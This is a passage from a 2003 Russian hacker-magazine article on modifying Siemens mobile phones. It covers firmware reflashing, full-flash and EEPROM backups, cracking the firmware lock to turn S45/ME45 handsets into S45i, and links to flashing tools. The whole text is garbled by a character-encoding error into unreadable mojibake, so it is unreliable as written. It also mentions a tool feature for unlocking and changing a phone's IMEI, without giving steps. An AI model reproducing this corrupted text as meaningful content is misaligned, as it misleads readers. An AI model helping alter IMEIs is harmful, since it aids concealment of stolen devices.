3. Âçëîìùèê íå çëîóïîòðåáëÿåò ðóòèííîé ðàáîòîé ïî ïàò÷èíãó ñîðöîâ ñëóæåáíûõ ïðîãðàìì.<br />

1 2 3 4<br />

58 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÄÅËÎ - ÒÐÓÁÀ<br />

Skylord (sky_lord@mail.ru)<br />

ÄÅËÎ<br />

ÒÐÓÁÀ<br />

ÏÀÐÀ ÑËÎÂ Î ÂÇËÎÌÅ ÌÎÁÈËÜÍÈÊÎÂ<br />

Ìàëî êîãî ñåé÷àñ ìîæíî óäèâèòü ñíÿòèåì øàðîâàðíîãî ïðåäóïðåæäåíèÿ â ïðîãðàììå èëè íàäïèñüþ "Hacked<br />

by me!" íà êàêîì-íèáóäü ñàéòå. Ìû âñå ïðèâûêëè ðåçâî íàáèðàòü ïàëüöàìè êîìàíäû SoftIce'ó è äåðæàòü íà<br />

ïðèâÿçè ñòàéêó-äðóãóþ ñïëîèòîâ. Íî òåõíîëîãèè íå ñòîÿò íà ìåñòå, è ÷åì äàëüøå èäåò ïðîãðåññ, òåì øèðå è<br />

ðàçíîîáðàçíåå ñòàíîâèòñÿ âîçìîæíàÿ ñôåðà èíòåðåñîâ õàêåðà. Òåïåðü íà î÷åðåäè - ìîáèëüíûå òåëåôîíû...<br />

À ×ÒÎ Ó ÍÅÅ ÂÍÓÒÐÈ<br />

À âíóòðè ó íåå, ìèðíî ëåæàùåé â òâîåì êàðìàíå èëè<br />

îïðîìåò÷èâî îñòàâëÿåìîé â ÷åõëå íà ïîÿñå, âåñü íàáîð<br />

ïîëíîöåííîãî êîìïà: ïðîöåññîð, îïåðàòèâêà, ôëåø-ïàìÿòü<br />

â êà÷åñòâå ÏÇÓ è êó÷à âñÿêîé ïåðèôåðèè äëÿ îáùåíèÿ<br />

ñ îêðóæàþùèì ìèðîì - íà÷èíàÿ ñ ýêðàíà è çàêàí÷èâàÿ<br />

ðàäèî÷àñòüþ (ìîáèëà, êàê-íèêàê). Åñòåñòâåííî,<br />

ýòî íà ñëîâàõ âñå ïðîñòî.  òåëåôîíàõ â êà÷åñòâå<br />

ïðîöåññîðîâ èñïîëüçóþòñÿ ñïåöèàëüíûå ìèêðîêîíòðîëëåðû,<br />

îñíîâàííûå îáû÷íî íà àðõèòåêòóðå ARM è çàòî÷åííûå<br />

ñïåöèàëüíî äëÿ âûïîëíåíèÿ ôóíêöèé ìîáèëû.<br />

Ïàìÿòè îáû÷íî èìååòñÿ ïîðÿäêà 512 Êá, ôëåøêè -<br />

ãäå-òî â ñðåäíåì îò 1 Ìá è äî 16 Ìá - òåëåôîíîâ ìíîãî,<br />

è îáî âñåõ ñðàçó íå ðàññêàæåøü. È èìåííî ïîýòîìó<br />

ÿ ñðàçó îãðàíè÷ó ñåãîäíÿøíèé êðóã èññëåäîâàíèé - ìû<br />

ïîïðîáóåì ðàñêîâûðÿòü ìîáèëüíèêè ôèðìû Siemens,<br />

êàê äîâîëüíî ðàñïðîñòðàíåííûå è, êðîìå òîãî, óäîáíûå<br />

äëÿ âçëîìà è èçó÷åíèÿ. Õîòÿ, êîíå÷íî æå, ìíîãî<br />

èíòåðåñíîãî ìîæíî íàéòè è â òåëåôîíàõ Nokia,<br />

Motorola, Sony... Íî îá ýòîì - êàê-íèáóäü â äðóãîé ðàç.<br />

×òî æå íàøè ïîäîïûòíûå À âñå îíè, íà÷èíàÿ ñ ìîäåëåé<br />

x25 (ò.å. C25 è S25) è çàêàí÷èâàÿ ïîñëåäíèìè<br />

õ55, îñíîâàíû íà ñåìåéñòâå 16-áèòíûõ ìèêðîêîíòðîëëåðîâ<br />

Infineon C166 è ÷èïñåòàõ ãðóïïû Gold<br />

(HiGold â x25, EGold â x35, EGold+ â x45 è ò.ï.). Ñèìåíñ<br />

â ýòîì ïëàíå êñòàòè "îðèãèíàëüíè÷àåò" ïî<br />

ñðàâíåíèþ ñ äðóãèìè ïðîèçâîäèòåëÿìè: C166 - ýòî<br />

íèêàêèì áîêîì íå ARM, íå x86, à âîîáùå ñîâåðøåííî<br />

ñàìîñòîÿòåëüíûé RISC-ïðîöåññîð, íî ôèøêà â<br />

òîì, ÷òî Infineon - ýòî "äî÷êà" Siemens, à ñâîÿ ðóáàøêà<br />

ê òåëó âñåãäà áëèæå ;-).<br />

À òåïåðü äàâàé îïðåäåëèìñÿ ñ îñíîâíûìè òåðìèíàìè,<br />

÷òîáû óáðàòü âñå íåÿñíîñòè. À åñëè òû óæå èñêóøåí<br />

è âñå çíàåøü, òî ìîæåøü ïåðå÷èòàòü è óäîñòîâåðèòüñÿ<br />

â ñîáñòâåííîé ïðàâîòå<br />

Âîò òàê âûãëÿäèò, íàïðèìåð, òåëåôîí<br />

Siemens C35 èçíóòðè<br />

Ñ ×ÅÃÎ ÍÀ×ÈÍÀÅÒÑß ÕÀÊ<br />

×òî òàêîå ïðîøèâêà òåëåôîíà, ÿ äóìàþ, îáúÿñíÿòü<br />

òåáå íå íóæíî - íå õóæå ìåíÿ çíàåøü, ÷òî ýòî âíóòðåííèé<br />

ñîôò ìîáèëû: åãî ÎÑ è ïðèêëàäíûå ïðîãðàììû<br />

â îäíîì ëèöå. Ïðîøèâêè - ýòî äåéñòâèòåëüíî<br />

îáû÷íûå ïðîãðàììû, êîòîðûå ïèøóò íà<br />

êîìïàõ íà C èëè C++ è êîìïèëèðóþò ïîä ñîîòâåòñòâóþùåå<br />

æåëåçî - â íàøåì ñëó÷àå, ïîä C166.<br />

Ñëåäóþùèì âàæíûì òåðìèíîì ÿâëÿåòñÿ ïîíÿòèå<br />

"ôóëôëåø" (îò full flash èëè æå, êàê îáû÷íî ãîâîðÿò<br />

íà çàðóáåæíûõ ôîðóìàõ, - fubu - îò full backup) -<br />

ïîëíàÿ êîïèÿ ñîäåðæèìîãî ôëåø-ïàìÿòè òåëåôîíà<br />

ñî âñåì, ÷òî òàì åñòü - ïðîøèâêîé, ðàçëè÷íûìè<br />

äàííûìè, ñîäåðæèìûì âíóòðåííåãî äèñêà òåëåôîíà<br />

è ò.ä. è ò.ï. Íàëè÷èå ôóëôëåøà îò òâîåé ìîáèëû<br />

ãàðàíòèðóåò, ÷òî òû â äàëüíåéøåì òî÷íî ñìîæåøü<br />

âîññòàíîâèòü åå ïîñëå íåóäà÷íûõ ýêñïåðèìåíòîâ,<br />

îáû÷íî çàêàí÷èâàþùèõñÿ áåçìîëâíîé è<br />

áåçäûõàííîé òðóáêîé. È ñòîèò îòìåòèòü, ÷òî ïîäîáíûå<br />

ðåçóëüòàòû íàáëþäàþòñÿ ïðîöåíòàõ â 70<br />

ñëó÷àåâ ïåðâîãî áîëåå èëè ìåíåå íèçêîóðîâíåãî<br />

îáùåíèÿ ÷åëîâåêà ñî ñâîèì òåëåôîíîì ;-).<br />

Êðîìå âñåãî ïðî÷åãî â ôóëôëåøå ñîäåðæàòñÿ è<br />

äàííûå EEPROM - ñâîåîáðàçíîãî CMOS'à òåëåôîíà,<br />

ãäå õðàíÿòñÿ íàñòðîéêè àïïàðàòà (ïðîøèâêè íà<br />

êîíêðåòíîå æåëåçî), à òàêæå ÷àñòü âðåìåííûõ äàííûõ<br />

- òåêóùàÿ ìåëîäèÿ, ëîãîòèï è ïðî÷èå ìåëî÷è.<br />

Íåçàâèñèìî îò ôèçè÷åñêîãî ðàñïîëîæåíèÿ, âåñü<br />

EEPROM (à åãî ðàçìåð îáû÷íî îêîëî 64 Êá è âûøå)<br />

âõîäèò â ñîñòàâ ôóëôëåøà, à òîò, â çàâèñèìîñòè<br />

îò ìîäåëè òåëåôîíà è ñâîåãî îáúåìà, ñîîòâåòñòâóþùèì<br />

îáðàçîì îòðàæàåòñÿ â îáùåì ëèíåéíîì<br />

àäðåñíîì ïðîñòðàíñòâå ìîáèëû, êîòîðîå<br />

äëÿ Ñèìåíñîâñêîãî C166 ñîñòàâëÿåò 16 Ìá.<br />

Ñëåäóåò îòìåòèòü, ÷òî íàñòðîéêè EEPROM'à - ýòî,<br />

ïîæàëóé, ñàìàÿ âàæíàÿ ÷àñòü ôóëôëåøà. Åñëè âñå<br />

îñòàëüíîå ìîæíî áåç îñîáîãî òðóäà âîññòàíîâèòü,<br />

òî óòåðÿ îðèãèíàëüíîãî EEPROM'à èìåííî òâîåãî<br />

àïïàðàòà ïî÷òè ñòîïðîöåíòíî ãàðàíòèðóåò, ÷òî îí<br />

ñòàíåò â èçâåñòíîé ñòåïåíè "èíâàëèäîì". Åñëè òû<br />

çàïèøåøü ê ñåáå ÷óæîé EEPROM, ïîòåðÿþòñÿ êàëèáðîâêè<br />

ïåðåäàò÷èêà òåëåôîíà, áàòàðåè è ò.ï.,<br />

÷òî, ñêîðåå âñåãî, ñòàíåò ïðè÷èíîé ðàçëè÷íûõ<br />

ãëþêîâ, òèïà ïëîõî ðàáîòàþùåãî (ñêàæåì, áóêâàëüíî<br />

äåíü-äâà) àêêóìóëÿòîðà. Òàê ÷òî áóäü îñòîðîæåí<br />

è âñåãäà äåëàé áýêàï!<br />

1 2 3 4<br />

60 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Âíóòðåííîñòè è êàáåëè<br />

1. Ôîòêè ñèñòåìíûõ ïëàò òåëåôîíîâ ñ êðàòêèìè<br />

îïèñàíèÿìè. Ê ñîæàëåíèþ, íåò íîâûõ ìîäåëåé...<br />

http://www.inside-gsm.com/<br />

2. Èíôîðìàöèÿ î ïðîöåññîðå Infineon C166 ïðÿìî îò<br />

ïðîèçâîäèòåëÿ. Åñëè õî÷åøü äèçàññåìáëèðîâàòü<br />

ïðîøèâêè Ñèìåíñîâ, ïîñåòè îáÿçàòåëüíî.<br />

http://www.infineon.com/<br />

Ðàçäåë Products - Microcontrollers - 16-Bit<br />

Microcontrollers<br />

3. Âñå ïî êàáåëÿì äëÿ ðàçíûõ Ñèìåíñîâ: ðàçíîâèäíîñòè,<br />

ïåðåäåëêà...<br />

http://www.o45m.ru/soft9<br />

4. Ñîçäàíèå êàáåëÿ äëÿ x55.<br />

http://forum.siemens-club.ru/viewtopic.phpTopicID=10754<br />

Òèïè÷íûé êóñîê îòäèçàññåìáëèðîâàííîé<br />

è íåìíîãî îòêîììåíòèðîâàííîé ïðîøèâêè<br />

ÑÀÃÀ Î ØÍÓÐÊÀÕ<br />

Íà÷íåì ìû ñî ñìåíû ïðîøèâêè òåëåôîíà.  êàæäîì<br />

ÑÖ (ñåðâèñ-öåíòðå, â ñìûñëå) äëÿ ãàðàíòèéíûõ<br />

àïïàðàòîâ ïðîøèâêó ìåíÿþò áåñïëàòíî, à äëÿ<br />

íåãàðàíòèéíûõ (è "ñåðûõ", òî åñòü íå ñåðòèôèöèðîâàííûõ<br />

è/èëè ââåçåííûõ íåîôèöèàëüíî) - çà<br />

âîçíàãðàæäåíèå, êîòîðîå èíîãäà äîñòèãàåò ÷óòü<br />

ëè íå 30 áàêñîâ. Íî äàæå è ãàðàíòèéíûì àïïàðàòàì<br />

çà÷àñòóþ íå õîòÿò ìåíÿòü ïðîøèâêó áåç îáîñíîâàíèÿ<br />

ïðè÷èí. Ëåíèâûå, áëèí... Íî ýòî íàì íå<br />

ïîìåõà.<br />

Åäèíñòâåííîå, ÷òî òðåáóåòñÿ äëÿ ñìåíû ïðîøèâêè<br />

ëþáîãî Ñèìåíñà â äîìàøíèõ óñëîâèÿõ - êàáåëü<br />

äëÿ åãî ïîäêëþ÷åíèÿ ê êîìïó ÷åðåç COM- èëè<br />

USB-ïîðò (÷åðåç COM ëó÷øå ñ òî÷êè çðåíèÿ ñîâìåñòèìîñòè).<br />

Êàáåëü ïîäîéäåò äàëåêî íå ëþáîé:<br />

òðåáóþòñÿ êàáåëè ñ òàê íàçûâàåìûì "âíåøíèì<br />

ïèòàíèåì". Ñóòü â òîì, ÷òî âñå íèçêîóðîâíåâûå<br />

îïåðàöèè ïðîèçâîäÿòñÿ ñ âûêëþ÷åííûì òåëåôîíîì<br />

(÷òî ëîãè÷íî), è äëÿ åãî "çàãðóçêè" íåëüçÿ<br />

èñïîëüçîâàòü åãî æå ñîáñòâåííóþ áàòàðåþ, êàê<br />

ýòî äåëàåòñÿ îáû÷íî ïðè çàêà÷êå ìåëîäèé, íàïðèìåð.<br />

 ïðèíöèïå, òû ìîæåøü íå çàáèâàòü<br />

âñåì ýòèì ãîëîâó, à ïðîñòî ïîéòè íà ðûíîê è êóïèòü<br />

çà 300-400 ðóáëåé íóæíûé øíóðîê, îòäåëüíî<br />

óòî÷íèâ ó ïðîäàâöà, ïîäîéäåò ëè îí òåáå "äëÿ<br />

ïðîøèâêè" - âñå ïðîäàâöû îáû÷íî â êóðñå è ïðîäàþò<br />

òî, ÷òî íóæíî (õîòÿ î ìàíèáýêå ëó÷øå âñå<br />

æå äîãîâîðèòüñÿ). Òåì æå, êòî õî÷åò èñïîëüçîâàòü<br />

"ðîäíûå" êàáåëè (íàïðèìåð, èç ïîñòàâîê òåëåôîíîâ<br />

S/ME45) èëè êàêóþ-íèáóäü ýêçîòèêó, òèïà òåëåôîííûõ<br />

"ñòàêàíîâ", è ñïîñîáåí äåðæàòü â ðóêàõ<br />

ïàÿëüíèê, ñòîèò ïîñåòèòü ñîîòâåòñòâóþùèå ðåñóðñû<br />

Ñåòè, ãäå ýòè âîïðîñû ðàçîáðàíû ïîäðîáíåå.<br />

Ñ òåëåôîíàìè ìîäåëåé A50/x55 ñëîæíåå - Ñèìåíñ<br />

èçìåíèë òàì ôîðìàò ðàçúåìà è ðàñïèíîâêó<br />

êàáåëÿ, òàê ÷òî ñòàðûå "øíóðêè" íå ïîäõîäÿò. Â<br />

îñòàëüíîì æå - âñå òî æå ñàìîå<br />

Ðàçúåì äëÿ òåëåôîíà Siemens àíôàñ. Òàêèìè<br />

îíè áûëè ëåò ñåìü íàçàä, òàêèìè îñòàëèñü<br />

è ïî ñåé äåíü<br />

ÑÀÌ ÑÅÁÅ ÑÖ<br />

Ðàçîáðàâøèñü ñ êàáåëåì, ñêà÷èâàåøü ïðîøèâêó<br />

äëÿ òåëåôîíà. Äëÿ âñåõ Ñèìåíñîâ, íà÷èíàÿ ñ õ35,<br />

îíè ðàñïðîñòðàíÿþòñÿ â âèäå îäíîãî ýêçåøíèêà,<br />

êîòîðûé ñîñòîèò èç ïðîãðàììû WinSwup è âñòðîåííîãî<br />

ôàéëà ïðîøèâêè. Îáû÷íî ïðîøèâêè îáîçíà÷àþòñÿ<br />

â âèäå xxyyzz, ãäå xx - âåðñèÿ, yy - íîìåð<br />

ÿçûêîâîãî áëîêà èíòåðôåéñà, zz - íîìåð<br />

ÿçûêîâîãî áëîêà Ò9. Âñå ýòè íîìåðà îòëè÷àþòñÿ<br />

äëÿ ðàçíûõ ìîäåëåé àïïàðàòîâ, íî, åñòåñòâåííî,<br />

òåáå íóæíà ïîñëåäíÿÿ ïðîøèâêà äëÿ òâîåãî òåëåôîíà<br />

ñ ïîëíîé ïîääåðæêîé ðóññêîãî ÿçûêà!<br />

Îáû÷íî â Ñåòè íà ñîîòâåòñòâóþùèõ ñàéòàõ êàê<br />

ðàç è ëåæèò òî, ÷òî òåáå íóæíî.<br />

Ðàçîáðàòüñÿ ñî ñêà÷àííîé ïðîøèâêîé ïðîùå<br />

ïðîñòîãî: çàïóñêàåøü, ïîäêëþ÷àåøü ðàáîòàþùèé<br />

òåëåôîí, íàæèìàåøü "Serial config", âûáèðàåøü<br />

COM-ïîðò, ê êîòîðîìó ïîäêëþ÷åí êàáåëü, è ñêîðîñòü<br />

115200 (áîëüøå íå ïîëó÷èòñÿ, à ìåíüøå -<br />

íå ðàöèîíàëüíî, õîòÿ èíîãäà áûâàåò ïîëåçíî â<br />

ñëó÷àå ãëþêîâ), è ãîðäî æìåøü "Start". Òåïåðü<br />

ñëåäèøü çà òåëåôîíîì è, êîãäà òîò âûêëþ÷èòñÿ,<br />

êîðîòêî æìåøü íà êíîïêó ñ êðàñíîé òðóáêîé. Ìîáèëà<br />

"ñõâàòèòñÿ" ñ ïðîãðàììîé, è ïîéäåò ïðîöåññ<br />

ïðîøèâêè. Ýòîãî ðàäîñòíîãî ñîáûòèÿ ìîæåò íå<br />

ïðîèçîéòè, è WinSwup âûäàñò ñîîáùåíèå òèïà<br />

"Can’t connect to Mobile with BootstrapLoader on<br />

Com 1". Åñòü äâå ïðè÷èíû òàêîãî ïîâåäåíèÿ: ëèáî<br />

òû íå ïîéìàë ìîìåíò, êîãäà íóæíî íàæàòü íà<br />

"êðàñíóþ" êíîïêó (ìîæíî æàòü íà íåå è íåñêîëüêî<br />

ðàç ïîäðÿä - ãëàâíîå, ÷òîáû òåëåôîí íå óñïåë<br />

âêëþ÷èòüñÿ), è òîãäà ñëåäóåò ïîïðîáîâàòü åùå<br />

ðàç, ëèáî ó òåáÿ íåïîäõîäÿùèé êàáåëü. Â ïîñëåäíåì<br />

ñëó÷àå îñòàåòñÿ áåæàòü íà ðûíîê èëè áðàòü â<br />

ðóêè ïàÿëüíèê. Åñëè æå âñå "ñõâàòèëîñü" íîðìàëüíî,<br />

òî äàëüøå ïðîöåññ ïîéäåò àâòîìàòè÷åñêè<br />

è áóäåò äëèòüñÿ ìèíóò 5-10. Ïî åãî îêîí÷àíèè îñòàåòñÿ<br />

âêëþ÷èòü òåëåôîí è íàñëàæäàòüñÿ èñïðàâëåííûìè<br />

ãëþêàìè è ïîÿâèâøèìèñÿ ôè÷àìè. È òî<br />

è äðóãîå, êñòàòè, áûâàåò âèäíî íåâîîðóæåííûì<br />

ãëàçîì (îñîáåííî, åñëè àïãðåéäèòüñÿ ñ êàêîé-íèáóäü<br />

5 ïðîøèâêè äî 30!).<br />

 ïðèíöèïå, ïðîöåññ ïðîøèâêè ñîâåðøåííî áåçîïàñåí,<br />

à ïðîáëåìû âîçíèêíóò â ñëó÷àå, åñëè çàâèñíåò<br />

âèíäà, êîí÷èòñÿ áàòàðåÿ â òåëåôîíå (êîòîðóþ<br />

ïåðåä ïðîøèâêîé ñëåäóåò çàðÿäèòü ïî ïîëíîé!),<br />

èëè çëîáíûé ýëåêòðèê îòêëþ÷èò òîê â ðàéîíå.<br />

Ïðè òàêîì âàðèàíòå òåëåôîí, ñêîðåå âñåãî,<br />

ïîìðåò. Íå ñòîèò ýòîãî áîÿòüñÿ - îïûòíûå õàêåðû<br />

ìîáèëüíèêîâ óáèâàëè ñâîèõ ïèòîìöåâ ïî íåñêîëüêó<br />

äåñÿòêîâ ðàç ;-). Ñêîðåå âñåãî òåáÿ ñïàñåò<br />

ïîâòîðíàÿ ïðîøèâêà âûêëþ÷åííîãî àïïàðàòà ñ<br />

ïîñòàâëåííîé âåðõíåé ãàëî÷êîé "Skip" â<br />

WinSwup'å. Êàê îáû÷íî, íàæèìàåì "Start" è äàâèì<br />

íà êðàñíóþ òðóáó. Åñëè â ïðåäûäóùèé ðàç ïðîöåññ<br />

ïðåðâàëñÿ èç-çà ñäîõøåé áàòàðåè, òî, åñòåñòâåííî,<br />

ïåðåä ïîïûòêîé âîññòàíîâëåíèÿ åå íàäî<br />

áóäåò ãäå-íèáóäü çàðÿäèòü... Âîîáùå æå, ñîôòâåðíî<br />

(òî åñòü, êàêèìè-ëèáî ìàíèïóëÿöèÿìè ñ<br />

ñîôòîì òåëåôîíà - áóäü òî ïåðåïðîøèâêà èëè êîïàíèå<br />

â ôóëôëåøå) óáèòü àïïàðàò íåâîçìîæíî:<br />

âîññòàíîâèòüñÿ òû ñìîæåøü âñåãäà, ãëàâíîå - íå<br />

ëåíèòüñÿ äåëàòü áýêàïû.<br />

×óòü ñëîæíåå ïîëüçîâàòåëÿì òåëåôîíîâ ñåðèè<br />

õ55, êîòîðûå íå òîëüêî åùå íå óñïåëè îáðåñòè<br />

ñâîèõ "âîññòàíîâèòåëüíûõ" êîìïëåêòîâ<br />

ñîôòà, íî è â íèõ æå Ñèìåíñ óñëîæíèë íèçêîóðîâíåâûå<br />

îïåðàöèè, äîáàâèâ ìíîãî ãå-<br />

Ïîñëåäíèå îðèãèíàëüíûå<br />

âåðñèè<br />

ðóññêèõ ïðîøèâîê<br />

äëÿ ìîáèëüíèêîâ<br />

Siemens<br />

S25 - 1402/4402<br />

A3x/A40 - 2502<br />

C/S35 - 2404<br />

C45 - 380306<br />

S/ME45 - 300315<br />

S45i - 040315<br />

SL45 - 5601<br />

M(T)50 - 179101<br />

A50 - 079101<br />

C55 - 199111<br />

S55 - 119111<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 61


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÄÅËÎ - ÒÐÓÁÀ<br />

Skylord (sky_lord@mail.ru)<br />

Ñîôò äëÿ ïðîøèâêè è íèçêîóðîâíåâûõ ðàáîò<br />

1. FAQ è äîêà ïî ïðîøèâêå Ñèìåíñîâ. Î÷åíü ðåêîìåíäóåòñÿ ÷èòàòü ïåðåä ñîáñòâåííîðó÷íûì<br />

îñóùåñòâëåíèåì äàííîãî ôèíòà óøàìè ;).<br />

http://www.o45m.ru/index.html/faq10.html<br />

http://mr-8242.v-mirror.spb.ru/doc/fwch45.zip<br />

2. Ñàìè ïðîøèâêè äëÿ âñåõ âîçìîæíûõ ìîäåëåé Ñèìåíñ.<br />

http://www.siemens-club.ru/hard-8.php<br />

3. Íàáîð ïðîãðàìì, ïàò÷åé è ñîëþøåíîâ äëÿ ëîìàíèÿ è âîññòàíîâëåíèÿ òåëåôîíà ;-) è FAQ<br />

ïî ýòîìó äåëó.<br />

http://www.o45m.ru/soft8.html<br />

4. Unisiemens 4.0. Óíèâåðñàëüíûé (íî íå çíà÷èò - ëó÷øèé) ôëåøåð äëÿ âñåõ ìîäåëåé. Çàïóñêàòü<br />

ôàéëîì usimload.exe òîëüêî íà COM1.<br />

http://download.siemens-club.ru/files/unisiemens.rar<br />

5. SM45tools v1.2.<br />

http://www.siemens-club.ru/hard-8.php<br />

6. Siemens EEPROM tool. Åñëè ïðè çàïóñêå áóäåò ðóãàòüñÿ - ñêà÷àé è óñòàíîâè âòîðîé ôàéë.<br />

http://download.siemens-club.ru/files/siemens_eeprom_tool_215.rar<br />

http://download.siemens-club.ru/files/ocxregister2.rar<br />

ìîððîÿ îáû÷íûì ïîëüçîâàòåëÿì, äà è êðóòûì õàêåðàì<br />

è àíëîêåðàì..<br />

Ïðîöåññ ïîøåë!<br />

ÃÀÄÊÈÉ ÓÒÅÍÎÊ<br />

Íó, ñ õ55 ìîäåëÿìè - ýòî ðàçãîâîð îñîáûé, à ñåé-<br />

÷àñ ìû ñ òîáîé, âçÿâ â êà÷åñòâå îáúåêòà òåëåôîíû<br />

S45 è ME45, ñäåëàåì îäèí èç ñàìûõ êëàññíûõ<br />

êðÿêîâ, ÷èñëî áëàãîäàðñòâåííûõ ïèñåì çà êîòîðûé<br />

â ìîåì ÿùèêå èñ÷èñëÿåòñÿ, íàâåðíîå, ñîòíÿìè.<br />

À áóäåì ìû àïãðåéäèòü ýòè äåâàéñû äî S45i,<br />

óáèâ òàêèì îáðàçîì öåëóþ òîëïó çàéöåâ: òû ïîñìîòðèøü,<br />

÷òî ðåàëüíî ìîæåò äàòü êîïàíèå â òåëåôîíå,<br />

ñóùåñòâåííî óëó÷øèøü ñâîþ òðóáêó (à<br />

S/ME45 ñåé÷àñ è òàê î÷åíü ïîïóëÿðíûå òåëåôîíû)<br />

è, âîçìîæíî, íàéäåøü íîâóþ ñôåðó ïðèëîæåíèÿ<br />

ñâîèõ êðÿêåðñêèõ ñèë.<br />

Ñóòü ïðîáëåìû â ñëåäóþùåì. Âûïóñòèâ â 2001<br />

ãîäó íîâóþ ñåðèþ òåëåôîíîâ, Ñèìåíñ ðåøèë îòêàçàòüñÿ<br />

îò îïûòà ïðåäûäóùèõ ëåò è ñäåëàë "ïóëå-ïûëå-âëàãî-óäàðî-ïðî÷íóþ"<br />

ìîäåëü, îñíîâàííóþ<br />

íå íà "áþäæåòíîì" âàðèàíòå (ïîìíèøü C35 è<br />

M35), à íà òåëåôîíå áèçíåñ-êëàññà. Ñîîòâåòñòâåííî,<br />

ME45 - ýòî ïîëíàÿ êîïèÿ S45, îáëàäàâøåãî<br />

íà ìîìåíò âûïóñêà î÷åíü íåïëîõèìè õàðàêòåðèñòèêàìè.<br />

Äàííàÿ ïîëèòèêà ïðèøëàñü ïîëüçîâàòåëÿì<br />

ïî âêóñó, è ME45 ñ ïðèëàâêîâ ïðîñòî ñìåòàëè.<br />

Ñèìåíñó áû ðàäîâàòüñÿ è âûäàâàòü ìàðêåòîëîãàì<br />

ïðåìèè, íî íåò - âçûãðàëè íåïîíÿòíûå ÷óâñòâà,<br />

è, îáèäåâøèñü çà ìåíåå ïîïóëÿðíûé S45,<br />

ðåøèëè ñäåëàòü åãî "ðàñøèðåííûé" âàðèàíò -<br />

S45i, îñòàâèâ ñòàðîå æåëåçî, íî íåìíîãî ïåðåïèñàâ<br />

ñîôò è äîáàâèâ ôèøå÷åê. À ÷òîáû æèçíü ìåäîì<br />

íå êàçàëàñü, çàïðåòèëè çàëèâêó â ñòàðûå àïïàðàòû<br />

ïðîøèâêè îò íîâîãî. Âåðíåå, çàëèòü-òî òû<br />

ìîæåøü, íî ïðè ïîïûòêå âêëþ÷åíèÿ òåëåôîí<br />

òîëüêî îáèæåííî çàãóäèò è ðàáîòàòü íå çàõî÷åò. Ñ<br />

ýòîãî âñå è íà÷àëîñü... Ñêàæó ñðàçó, äîé÷ëÿíäû<br />

ïðîäåðæàëèñü ìåíüøå ïîëóãîäà, è ñåé÷àñ òû<br />

ñìîæåøü âçãëÿíóòü íà ðåçóëüòàò ïðèìåðíî ìåñÿöà<br />

ìîåé ðàáîòû (ýòî âðåìÿ âêëþ÷àåò èçó÷åíèå<br />

Asm'à Ñ166 è íåïîñðåäñòâåííî âçëîì ïðîøèâêè).<br />

Ïîëíûé ñïèñîê áîíóñîâ S45i òû íàéäåøü â Ñåòè, à<br />

â êà÷åñòâå ãëàâíûõ ïëþñîâ ìîãó âûäåëèòü ñëåäóþùåå:<br />

ïîëíîöåííûé POP3/SMTP å-ìûëüíûé êëèåíò<br />

íà 5 àêêàóíòîâ, íîâàÿ èãðà RaceAce (ãîíî÷êè),<br />

ãðîìêàÿ ñâÿçü â äèêòîôîíå, à òàêæå áåçìåðíî æåëàåìàÿ<br />

âñåìè - ðàçáëîêèðîâêà êëàâèàòóðû áåç íàæàòèÿ<br />

êíîïêè "OK" îäíèì óäåðæàíèåì "ðåøåòêè".<br />

ÈÍÑÒÐÓÌÅÍÒ<br />

Èòàê, âñå èçâðàùåíèÿ íàä òåëåôîíîì äåëàþòñÿ<br />

ïóòåì ðåäàêòèðîâàíèÿ åãî ôóëôëåøà, ïîñëå ÷åãî<br />

èñïðàâëåííûé âàðèàíò çàëèâàåòñÿ â àïïàðàò. È<br />

ïîýòîìó òâîåé ãëàâíîé ïðèâû÷êîé äîëæíî ñòàòü<br />

ñîõðàíåíèå áýêàïà ïåðåä ëþáûìè äåéñòâèÿìè.<br />

Âîîáùå, äëÿ ìàíèïóëÿöèè ñ ôëåøåì òåëåôîíà<br />

óìíûìè è ïðàâèëüíûìè ëþäüìè ñîçäàþòñÿ ñïåöèàëüíûå<br />

ïðîãðàììû - ôëåøåðû, êîòîðûå ìîãóò<br />

ïèñàòü è ÷èòàòü åãî ñîäåðæèìîå. Êàê èìåííî îíè<br />

ýòî äåëàþò - âîïðîñ îñîáûé, à ïîêà çàïîìíè íåñêîëüêî<br />

îñíîâíûõ íàçâàíèé - UNIsiemens 4, Ksie<br />

5.1, zSiemens, SieFlash, SM45Tools 1.2... Èìåííî<br />

ïîñëåäíåé ìû è âîñïîëüçóåìñÿ - îíà ïðåäíàçíà-<br />

÷åíà ñïåöèàëüíî äëÿ S/ME45 (ñ äðóãèìè ðàáîòàòü<br />

íå áóäåò!) è ÿâëÿåòñÿ íàèáîëåå óäîáíîé è ôóíêöèîíàëüíîé,<br />

çà ÷òî ñïàñèáî åå àâòîðó MikG.<br />

Èíòåðôåéñ ïðîñò äî áåçîáðàçèÿ: íåñêîëüêî âêëàäîê<br />

ñ èíòóèòèâíî ïîíÿòíûì ñîäåðæèìûì. Â<br />

"Configuration" íàñòðàèâàåì COM-ïîðò è ñêîðîñòü<br />

- êàê â WinSwup'å. "Read flash"/"Write flash" ÷èòàþò<br />

è ïèøóò äàííûå èç/â ôëåø-ïàìÿòü. Íàäî çàäàâàòü<br />

íà÷àëüíûé àäðåñ è ðàçìåð ñêà÷èâàåìîãî/çàêà÷èâàåìîãî<br />

êóñêà. Âñåãî â S/ME45 íàëè÷åñòâóåò<br />

6 Ìá ôëåøà (ò.å. 600000h), è ïèøåòñÿ îí êóñêàìè<br />

ïî 64 Êá, ïîýòîìó "÷èñòî êîíêðåòíî" áðàòü è ïèñàòü<br />

1 áàéò âî ôëåø ÿ áû íå ñîâåòîâàë...<br />

EEPROM'û (à â S/ME45 èõ äâà) âíóòðè ôëåøà íàõîäÿòñÿ<br />

ïî àäðåñàì 1F0000h è 5F0000h è èìåþò<br />

äëèíó 10000h (òî åñòü 64 Êá) - ëó÷øå íà âñÿêèé<br />

ïîæàðíûé ñêà÷àòü è ñîõðàíèòü èõ îòäåëüíî, õîòÿ<br />

îíè è âõîäÿò â ñîñòàâ ôóëôëåøà. Âêëàäêà "IMEI"<br />

îòâå÷àåò çà ðàçáëîêèðîâêó è ñìåíó íîìåðà IMEI<br />

àïïàðàòà - â íàøåé ðàáîòå îíà íàì íå ïîíàäîáèòñÿ,<br />

à ïîäðîáíî î ðàçëî÷êå ÿ, âîçìîæíî, ðàññêàæó<br />

